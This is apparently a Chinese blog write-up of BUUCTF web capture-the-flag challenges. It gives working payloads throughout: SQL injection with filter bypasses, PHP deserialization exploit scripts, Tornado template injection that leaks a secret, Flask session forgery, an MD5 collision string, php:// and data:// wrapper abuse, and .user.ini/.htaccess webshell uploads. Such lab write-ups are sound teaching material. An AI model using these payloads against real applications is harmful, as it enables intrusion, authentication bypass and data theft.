BUUCTF中web方向题目记录(二)

双写绕过

BUUCTF[极客大挑战 2019]BabySQL

image-20220322221119506

好像和前面的题目相似

image-20220322221144573

check.php?username=admin&password=1'

image-20220322221242546

单引号闭合

check.php?username=admin&password=1' or '1'='1

image-20220322221308635

查一下字段数

check.php?username=admin&password=1' union select 1,2,3,4 or '1'='1

image-20220322221357314

仔细看发现union select or都被过滤为空了,直接双写绕过

check.php?username=admin&password=1' uniounionn sselectelect 1,2,3,4 oorr '1'='1

image-20220322221500318

image-20220322221509782

check.php?username=admin&password=1' uniounionn sselectelect 1,2,3 oorr '1'='1

数据库

check.php?username=admin&password=1' uniounionn sselectelect 1,database(),'3

image-20220322221611334

查表

check.php?username=admin&password=1' uniounionn sselectelect 1,(selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()),'3

image-20220322221843933

字段名

check.php?username=admin&password=1' uniounionn sselectelect 1,(selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name="b4bsql"),'3

image-20220322222311090

查数据

check.php?username=admin&password=1' uniounionn sselectelect 1,(selselectect group_concat(username,passwoorrd) frfromom b4bsql),'3

image-20220322222413663

php反序列化绕过wakeup

BUUCTF[极客大挑战 2019]PHP

image-20220323155030184

网站扫不了就直接说www.zip是备份文件了

index.php发现反序列化

 <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){#反序列化时自动调用,需要绕过,可以通过更改对象个数来绕过
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {#如果password不等于100结束
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

一个简单的php反序列化

脚本

<?php

class Name{
    private $username = 'admin';
    private $password = '100';
}
$p = new Name();
$p = serialize($p);
echo $p."\n";#输出初始序列化对象
$p = str_replace('":2:','":3:',$p);
echo $p."\n";#输出将2 替换为3 后的序列化对象 绕过wakeup函数
$p = urlencode($p);
echo $p;#进行url编码防止因为%00不可打印字符在复制时丢失
?>
#O:4:"Name":2:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}
#O:4:"Name":3:{s:14:" Name username";s:5:"admin";s:14:" Name password";s:3:"100";}
#O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

image-20220323161122640

无法复制%00

备份文件

BUUCTF[ACTF2020 新生赛]BackupFile

image-20220322222932177

一般做题都先扫目录,但是这个平台不让扫,自己一个个试试吧

下载下来源码

image-20220322223039067

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}


弱类型相等

http://4021fbd6-79aa-4cdb-9ac5-fed0e728d349.node4.buuoj.cn:81/?key=123

image-20220322223135967

tornado框架cookies机制

[护网杯 2018]easy_tornado

image-20220322223241869

三个文件

/flag.txt

image-20220322223306050

/welcome.txt

image-20220322223326654

/hints.txt

image-20220322223341562

注意连接

http://feaacc5d-1b78-4e9e-96b1-b76d6f45394b.node4.buuoj.cn:81/file?filename=/hints.txt&filehash=81c8ea4cbb1c6a8f5af7138f48834607

先尝试改一下文件名

http://feaacc5d-1b78-4e9e-96b1-b76d6f45394b.node4.buuoj.cn:81/error?msg=Error

image-20220322224045273

报错了

查一下render

这里可能是将要传入的filehash的值所以现在就需要知道cookies_secret的值

查阅资料,发现 secure cookie 是Tornado 用于保护cookies安全的一种措施。

easytornado_1

cookie_secret保存在settings中

easytornado_2

发现self.application.settings有一个别名

easytornado_3

handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings

这里需要获取cookie_secret那么就需要有模板注入的地方尝试一下发现在错误信息中有

http://feaacc5d-1b78-4e9e-96b1-b76d6f45394b.node4.buuoj.cn:81/error?msg={{str}}

image-20220322224543729

获取一下cookie_secret

error?msg={{handler.settings}}

image-20220322224630240

image-20220322224823834

先得到文件名md5值

3bf9f6cf685a6dd8defadabfb41a03a1

拼起来

41c2f098-ff58-45c4-bc1e-98837748079b3bf9f6cf685a6dd8defadabfb41a03a1

再取合起来的md5值

image-20220322224938163

组合一下

http://feaacc5d-1b78-4e9e-96b1-b76d6f45394b.node4.buuoj.cn:81/file?filename=/fllllllllllllag&filehash=ae79dbd1ea73f1effd2a6b89a702cd2a

image-20220322225002463

科学计数法加越权

BUUCTF[极客大挑战 2019]BuyFlag

image-20220323162005637

打开是个广告

image-20220323162034373

需要好多钱,还需要注意必须是cuit的学生这里应该是个提示,应该跟普通用户不一样

源代码发现好东西

<!--
	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}
-->

这里注意他只说了post password需要加上money

image-20220323163301385

这里发送过去没有回显,仔细观察可以发现一个user非常可疑,一般0代表的是假,1代表的是真如果用来区分是不是cuit的studit使用的是0和1的话这里就需要改成1

image-20220323163528492

发现数字太长了,可以使用科学计数法

image-20220323163724320

flask框架的session越权

[HCTF 2018]admin

法一

image-20220323164820794

打开先点点,看看源码扫扫目录

image-20220323165345822

image-20220323165411956

image-20220323165424545

注册一个登进去看看,这里的名字有回显,但是注册这里是有验证码限制的,可以留有思路看看验证码有没有爆破的可能

image-20220323165853497

这里抓包发现有session看着像是jwt,但是实际上并不是

image-20220323165451096

image-20220323165543069

image-20220323165553701

image-20220323165630621

在这里发现了问题,这个改密码看看有没有可能有越权漏洞

image-20220323165645453

源码泄露了,不说了先去找源码

image-20220323165814103

发现是python写的,使用了flask框架

先查看路由

image-20220323171803001

发现加载了index.html页面

image-20220323171829854

发现关键信息,这里需要session 的name 为admin这里去查了一下flask的session文档

image-20220323175155866

接着查找一下关键词SECRET发现在config文件里面还有信息

image-20220323175304398

接着就是解码session对象了,找个工具来弄flash-session-cookie

抓到的本地session

.eJw9kE-PgjAQxb_KZs4c5I8XEw9uuhBMZgimLGkvBBVZWssmqEFq_O5bzMbDHGZe8t7vzQOq09BcfmB1HW6NB1V3hNUDPvawAlnGWiaksyS_y2RrKJBGqp0iiz4y9Imno-B6QvupkH9rMiIUPDbIvwLJ9DjfZIIBlqRIFb6wsSGFkeT5iCUuie3OQp07cpNxEQh1cAn5lJXFAg36Um07YdMQWXsXRjqveXfZZW6JFZNQ8RltOxFr1_D04HAZTtX1Vzf9uwKxfCn5jJ1GZHWESgQOPxS2tciKMeMOI8gtJg5M6Sjjm0W2Wb_sOlO3zdupKY5Y_it9bZwAY93XPXhwuzTD62_gL-D5B-mzbZs.YjrdGQ.4IaKpf7FQl0w374TS5D9c5WJ3is

用工具解码出来的

python flask_session_cookie_manager3.py decode -c ".eJw9kE-PgjAQxb_KZs4c5I8XEw9uuhBMZgimLGkvBBVZWssmqEFq_O5bzMbDHGZe8t7vzQOq09BcfmB1HW6NB1V3hNUDPvawAlnGWiaksyS_y2RrKJBGqp0iiz4y9Imno-B6QvupkH9rMiIUPDbIvwLJ9DjfZIIBlqRIFb6wsSGFkeT5iCUuie3OQp07cpNxEQh1cAn5lJXFAg36Um07YdMQWXsXRjqveXfZZW6JFZNQ8RltOxFr1_D04HAZTtX1Vzf9uwKxfCn5jJ1GZHWESgQOPxS2tciKMeMOI8gtJg5M6Sjjm0W2Wb_sOlO3zdupKY5Y_it9bZwAY93XPXhwuzTD62_gL-D5B-mzbZs.YjrdGQ.4IaKpf7FQl0w374TS5D9c5WJ3is"

b'{"_fresh":true,"_id":{" b":"ZWFkZGNkOGQxZGJmN2ZmZjRjNzM1MDM1NTIwYTkyMzBjMTVkNmY3YTFmMTE2ZDkwMTVkZGM2MWNjNjU1YzFmNjM4ZTQwMWM5NDRlYjliNjliOTY2Yjc2ZmQyOWU0MmM1ZjJiYzI3MDgxYmZkZGJiYzM1MWQzNDUyYjFlMzgyNDg="},"csrf_token":{" b":"NDQ5ZTZmZjI4Nzk4MjY2NzM3YzgzMDUwOTM5N2QzMGNjMjk4OTA0OA=="},"image":{" b":"eUdMWA=="},"name":"wanan","user_id":"10"}'

这里加密时发现回不去,所以换了一个脚本

#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
    payload, sig = payload.rsplit(b'.', 1)
    payload, timestamp = payload.rsplit(b'.', 1)

    decompress = False
    if payload.startswith(b'.'):
        payload = payload[1:]
        decompress = True

    try:
        payload = base64_decode(payload)
    except Exception as e:
        raise Exception('Could not base64 decode the payload because of '
                         'an exception')

    if decompress:
        try:
            payload = zlib.decompress(payload)
        except Exception as e:
            raise Exception('Could not zlib decompress the payload before '
                             'decoding the payload')

    return session_json_serializer.loads(payload)

if __name__ == '__main__':
    print(decryption(sys.argv[1].encode()))

用法

python flask-session.py ".eJw9kD2PwjAMhv_KyXOHfsCCxMAptALJrorCVfGCer1SSJqeVEClQfz3Cww3eLCH5_H7PuBwHJrLCRbX4dYEcDj_wOIBH9-wAC5TwxmZPCvunG0txWxZ7zQ5jFBgRHIzKmkmdJ8a5ZchqxIlU4tyHbMw4-vGGcZYkia9j5RLLWmcsSxGLHFOYtcp3Z3JTy5VrHTtDcWUl_sQLUast2flNgmK9q4se9Zr9-6ycCT2k9Jph66dSLRLeAZQX4bj4fprmv4_gtf590yUl-lJxWnHoo5JdFo5E3rNjHXtWOAcxfruw51ysUpwtXzj-so2HjFWfdVDALdLM7zbgSiE5x9Iw2aG.Yjr3nQ.s-VmFPx-L1QnKdOw_bkbpDM3cSg"

{'_fresh': True, '_id': b'eaddcd8d1dbf7fff4c735035520a9230c15d6f7a1f116d9015ddc61cc655c1f638e401c944eb9b69b966b76fd29e42c5f2bc27081bfddbbc351d3452b1e38248', 'csrf_token': b'6323959aacaed7649cc949e8f73d39011ffa8070', 'name': 'wanan', 'user_id': '10'}

改name成admin

{'_fresh': True, '_id': b'eaddcd8d1dbf7fff4c735035520a9230c15d6f7a1f116d9015ddc61cc655c1f638e401c944eb9b69b966b76fd29e42c5f2bc27081bfddbbc351d3452b1e38248', 'csrf_token': b'6323959aacaed7649cc949e8f73d39011ffa8070', 'name': 'admin', 'user_id': '10'}

在换成原先的工具加密回去

python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'eaddcd8d1dbf7fff4c735035520a9230c15d6f7a1f116d9015ddc61cc655c1f638e401c944eb9b69b966b76fd29e42c5f2bc27081bfddbbc351d3452b1e38248', 'csrf_token': b'6323959aacaed7649cc949e8f73d39011ffa8070', 'name': 'admin', 'user_id': '10'}"
.eJw9kLGOwjAMhl_l5JmhLbAgMXAKqUCyq6L0qnhBUAo0aTipgGiDePcLDDd4sIfv8_8_YXvs6usZZrfuXo9g2xxg9oSvPcyAS2k5JZulec_p2lHCjs3GkMcYBcakVg-t7ID-26D6seT0WCvpUC0TFvbxvnGKCZZkyBSx9tKRwQmr_IElTklsWm3ahsJkSifaVMGQD1lZROgwZrNutF-NUZx67Tiw3ntwl7knUQzayBb9aSBxmsNrBNW1O25vv7a-_EcIuvCejbNSnnUiWxZVQqI12tsoaCZsKs8CpyiWfQh3zsRijIv5B3fZuTogdgfXXGAE92vdfdqBOILXH0eiZno.Yjr4HA.pCZ5mKt-VRQsEyg6MEslUI8GtL8

就这里这个-s “ckj123” 只能使用双引号使用单引号不行,为啥?

image-20220323183819320

法二

image-20220323184802990

image-20220323184834645

他们说这里的版本较低有漏洞nodeprep.prepare函数会将unicode字符ᴬ转换成A而A再次调用nodeprep.prepare函数会把A转换成a

注册用户ᴬᴰᴹᴵᴺ

经过nodeprep.prepare函数ᴬᴰᴹᴵᴺ变成了ADMIN

image-20220323185453028

这里显示的就是

image-20220323185540309

接着修改密码

ᴬᴰᴹᴵᴺ再次经过nodeprep.prepare函数就变成了admin,所以这里修改的密码是admin的密码

image-20220323185728617

接着更改密码,这里改完之后就是admin的密码了

image-20220323185801765

image-20220323185842047

sql的pas=MD5(pas,true)绕过

[BJDCTF2020]Easy MD5

md5(string,raw)     
参数	描述
string	必需。要计算的字符串。
raw	
可选。
    默认不写为FALSE。32位16进制的字符串
    TRUE。16位原始二进制格式的字符串

这里需要注意的是,当raw项为true时,返回的这个原始二进制不是普通的二进制(0,1),而是 'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种。

上面的’ffifdyop‘字符串对应的16位原始二进制的字符串就是” 'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c “ 。 ’ \ ‘后面的3个字符连同’ \ '算一个字符,比如’ \xc9 ‘,所以上述一共16个。当然,像’ \xc9 ‘这种字符会显示乱码。

这里32位的16进制的字符串,两个一组就是上面的16位二进制的字符串。比如27,这是16进制的,先要转化为10进制的,就是39,39在ASC码表里面就是’ ’ ‘字符。6f就是对应‘ o ’。

   然后我们得到的sql语句就是 SELECT * FROM admin WHERE username = 'admin' and password = ''or'6�]��!r,��b'

   为什么password = ''or'6�]��!r,��b'的返回值会是true呢,因为or后面的单引号里面的字符串(6�]��!r,��b),是数字开头的。当然不能以0开头。(我不知道在数据库里面查询的时候,�这种会不会显示)

   这里引用一篇文章,连接在下面,里面的原话“a string starting with a 1 is cast as an integer when used as a boolean.“

  在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1  ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。

   当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)

 所以到这里为止,就完成了sql注入。同时要注意的是,这种sql语句,在mysql里面是可以行得通的,但是在oracle数据库里面这样的语句是有语法错误的。

   所以回过头来为什么ffifdyop就是答案,因为ffifdyop的md5的原始二进制字符串里面有‘or’6这一部分的字符。那么进一步思考这个单引号是否是必要的,这两个单引号是为了与原有的语句的单引号配对。所以我们理解了这个sql注入的原理,那么就明白了我们需要怎样的字符串。

回到这个题目

image-20220325222249900

发现提示

image-20220325222311308

那么思路是一样的,没wp做个球?

image-20220325222351601

image-20220325222424966

image-20220325222430164

简单绕过下

image-20220325222614861

简单碰撞下

image-20220325222854628

%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab

php伪协议

[ZJCTF 2019]NiZhuanSiWei

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

其中的file_get_contents,是从文件中获取数据,那么本地肯定没有这句话,只能通过php伪协议传参.

下面的包含提示useless.php那么就读取一下,使用php:filter协议

http://81138c67-775f-4cb3-92d0-1e356e4b3630.node4.buuoj.cn:81/
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
&file=php://filter/read=convert.base64-encode/resource=useless.php 

image-20220325223848850

<?php

class Flag{  //flag.php
    public $file = 'flag.php';
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
$a = new Flag();
echo serialize($a);
?>
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

这里就要包含一个 useless.php

加上password就好

http://81138c67-775f-4cb3-92d0-1e356e4b3630.node4.buuoj.cn:81/
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
&file=useless.php
&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20220325224827943

.user.ini

php.ini是php默认的配置文件.其中包含了很多php配置,这些配置中,有分为几种"PHP_INI_SYSTEM PHP_INI_PERDIR PHP_INI_ALL PHP_INI_USER

image-20220326155032466

其中就提到了,模式为PHP_INI_USER的配置项,可以在ini_set()函数中设置 注册表中设置,再就是.user.ini中设置.这里就包含.user.ini,那么这个是什么配置文件.

除了主php.ini之外,php会在每个目录下扫描INI文件,从被执行的php文件所在的目录开始一直上升到web根目录($_SERVER[‘DOCUMENT_ROOT’]所指定的).如果被执行的php文件在web根目录之外,则只扫描该目录.在.user.ini风格的INI文件中只有具有PHP_INI_PERDR和PHP_INI_USER模式的INI设置可被识别.

这里就很清楚了,.user.ini实际上就是一个可以有用户"自定义"的php.ini,我们能够自定义的设置模式为"PHP_INI_PERDIR PHP_INI_USER"的设置(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置 处理PHP_INI_SYSTEM以外的模式都是可以通过.user.ini来进行设置的

而且,和php.ini不同的是,.user.ini是一个能别动态加载的ini文件,也就是说我修改了/user.ini后不需要重启服务器中间件,值需要等待user_ini.cache_ttl所设置的时间(默认300秒),即可被重新加载

然后我们看到php.ini中的配置项,可惜我沮丧地发现,只要稍微敏感的配置项,都是PHP_INI_SYSTEM模式的(甚至是php.ini only的),包括disable_functions、extension_dir、enable_dl等。 不过,我们可以很容易地借助.user.ini文件来构造一个“后门”。

Php配置项中有两个比较有意思的项(下图第一、四个):

image-20220326160426594

auto_append_file、auto_prepend_file,点开看看什么意思:

image-20220326160436702

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数.而auto_append_file类似,只是在文件后面包含.使用方法很简单,直接写在.user.ini中

auto_prepend_file=1.gif

1.gif是要包含的文件.所以我们可以借助.user.ini轻松让所有php文件都自动包含某个文件,而这个文件可以是一个正常的php文件,也可以是一个包含一句话的webshell

那么我们这里构造一个.user.ini文件上传上去

image-20220326161514074

image-20220326161520682

发现检测了文件类型

image-20220326163908902

image-20220326173823017

上传了一个.user.ini文件

image-20220326174010401

接着上传一个图片马,记得开头做处理

这些都干完之后,记得等一会,因为.user.ini是有生效时间的

接着访问这个目录,下的index.php文件

image-20220326174147681

image-20220326174853318

image-20220326174913337

image-20220326174940127

过滤空格和=的报错注入

[极客大挑战 2019]HardSQL

image-20220326184518718

尝试闭合方式

check.php?username=admin'&password=1	 the right syntax to use near '1'' at line 1
check.php?username=admin"&password=1	正常
check.php?username=admin&password=1'	 the right syntax to use near ''1''' at line 1
check.php?username=admin&password=1"	正常

image-20220326184734549

说明单引号闭合,无括号

username=admin&password=admin' or '1'='1

image-20220326191845614

这里有过滤,经过测试过滤了=和空格

爆库
username=admin&password=1'^extractvalue(1,concat(0x7e,(select(database()))))%23

image-20220326192440565

爆表
username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))%23   //数据库名字

image-20220326192503340

爆字段名
username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))%23 //数据库名

image-20220326192527286

爆数据
username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23 //改数据库名 表名 字段名

image-20220326192551276

显示不全使用left()和right()

username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23

updatexml报错

爆数据库
username=admin&password=admin%27or(updatexml(1,concat(0x7e,database(),0x7e),1))%23

爆表名
username=admin&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23 	

爆字段名
username=admin&password=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23

爆数据名
username=admin&password=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(username,%27~%27,password))from(H4rDsq1)),0x7e),1))%23	//改一下表名
显示不全的时候使用left() right()语句分别查询

username=admin&password=admin%27or(updatexml(1,concat(0x7e,(select(group_concat((left(password,25))))from(H4rDsq1)),0x7e),1))%23

username=admin&password=admin%27or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23

拼出来

flag{237c59f0-ce14-478d-bc50-13e977d7efd6}

.htaccess文件上传

[MRCTF2020]你传你🐎呢

image-20220326223116015

传个png文件

image-20220326223243466

上去了但是没用,必须解析,在上传一个.htaccess文件,去解析.png文件为.php

image-20220326223356690

image-20220326223418421

image-20220326223432254

简单md5与弱类型

[MRCTF2020]Ez_bypass

image-20220326223555429

<?php
include 'flag.php';
$flag = 'MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if (isset($_GET['gg']) && isset($_GET['id'])) {
    $id = $_GET['id'];
    $gg = $_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if (isset($_POST['passwd'])) {
            $passwd = $_POST['passwd'];
            if (!is_numeric($passwd)) {
                if ($passwd == 1234567) {
                    echo 'Good Job!';
                    highlight_file('flag.php');
                    die('By Retr_0');
                } else {
                    echo "can you think twice??";
                }
            } else {
                echo 'You can not get it !';
            }

        } else {
            die('only one way to get the flag');
        }
    } else {
        echo "You are not a real hacker!";
    }
} else {
    die('Please input first');
}

php的md5无法解析数组,传两个数组?gg[]=1&id[]=2

弱类型相等passwd=1234567q

image-20220326224245900

php反序列化

[网鼎杯 2020 青龙组]AreUSerialz

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

反序列化private属性绕过

image-20220327222441531

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {#当对象被创建时,会触发进行初始化
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();#调用process方法
    }

    public function process() {
        if($this->op == "1") {#如果op等于1就调用写方法
            $this->write();
        } else if($this->op == "2") {#如果op等于2就调用读方法,并调用output方法
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");#如果都不等就调用output方法
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {#如果设置了filename和content
            if(strlen((string)$this->content) > 100) {#如果这个对象的content大于100就输出太长然后结束
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);##如果没超过100就将content写入到filename中
            if($res) $this->output("Successful!");#如果写成功了就输出successful
            else $this->output("Failed!");#没成功就输出失败
        } else {
            $this->output("Failed!");#没设置文件名就失败
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {#如果设置了文件名,就输出这个文件的内容
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {#当对象被销毁时触发
        if($this->op === "2")#如果op强等于2
            $this->op = "1";#输出op=1
        $this->content = "";#把content变为空
        $this->process();#调用process方法
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)#总共
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))#如果ascii码不在32到125之间就返回假
            return false;
    return true;
}

if(isset($_GET{'str'})) {#如果设置了str参数

    $str = (string)$_GET['str'];#就将str转换成string类型
    if(is_valid($str)) {#然后调用自建is_valid函数去判断是否合法
        $obj = unserialize($str);#对str进行反序列化
    }

}

需要绕过

is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化之后会出现不可见字符\x00*\x00,转化为ascii码不符合要求.还有__destruct()魔术方法中,op==="2"和process()中op==“2”

绕过方法

1.绕过is_valid()函数

  • PHP7.1以上的版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
  • private属性在序列化的时候会引入两个\00,注意这两个\00,注意这两个\00就是ascii码为0的字符.这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看的很清楚.同理,protected属性会引入\00*\00.此时,为了更加方便进行反序列化payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}

2.绕过=

__destruct()魔术方法中,op==="2"是强比较,而process()使用的是弱比较op==“2”,可以通过弱类型绕过

绕过方法:op=2,这里的2是整数int类型,op=2时,op==="2"为false,op=="2"为true

法一

public属性绕过

<?php

class FileHandler {

    public $op=2;
    public $filename="flag.php";

}

$FileHandler1 = new FileHandler();
$str = serialize($FileHandler1);
echo $str;
#O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}

法二

\x00绕过

<?php

class FileHandler {

    public $op=2;
    public $filename="flag.php";

}

$FileHandler1 = new FileHandler();
$str =serialize($FileHandler1);
echo $str;
#O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}
//这个时候先生成序列化的值,然后再做一些小处理
//我们都知道私有变量类名的前后都有%00,但是某些特定版本的情况下,这样也会出错
//这个时候我们需要将s改为S,并添加\00*\00总共三个字符要改一下字符数量
#O:11:"FileHandler":2:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";}

sql联合查询与pw的md5

[GXYCTF2019]BabySQli

image-20220326224613655

登录框

image-20220326224627922

image-20220326224636346

源码有字符

居然是base32,下次不知道就挨个试

image-20220326224917775

下面明显base64

image-20220326224937765

得到查询语句

select * from user where username = '$name'

image-20220326225208169

仔细看是像search发起的请求

象征性测试一下闭合方式

name=1&pw=1		正常
name=1'&pw=1	报错
name=1"&pw=1	正常

单引号闭合

查询字段数

name=1'order by 4%23&pw=1

image-20220326225519530

有过滤,发现过滤了or,单是大小写不敏感,大小写绕过

name=1'Order by 4%23&pw=1

image-20220326225614482

name=1'Order by 3%23&pw=1

image-20220326225627306

这个是错误用户

name=admin'Union Select 1,2,1%23&pw=111

image-20220401192628007

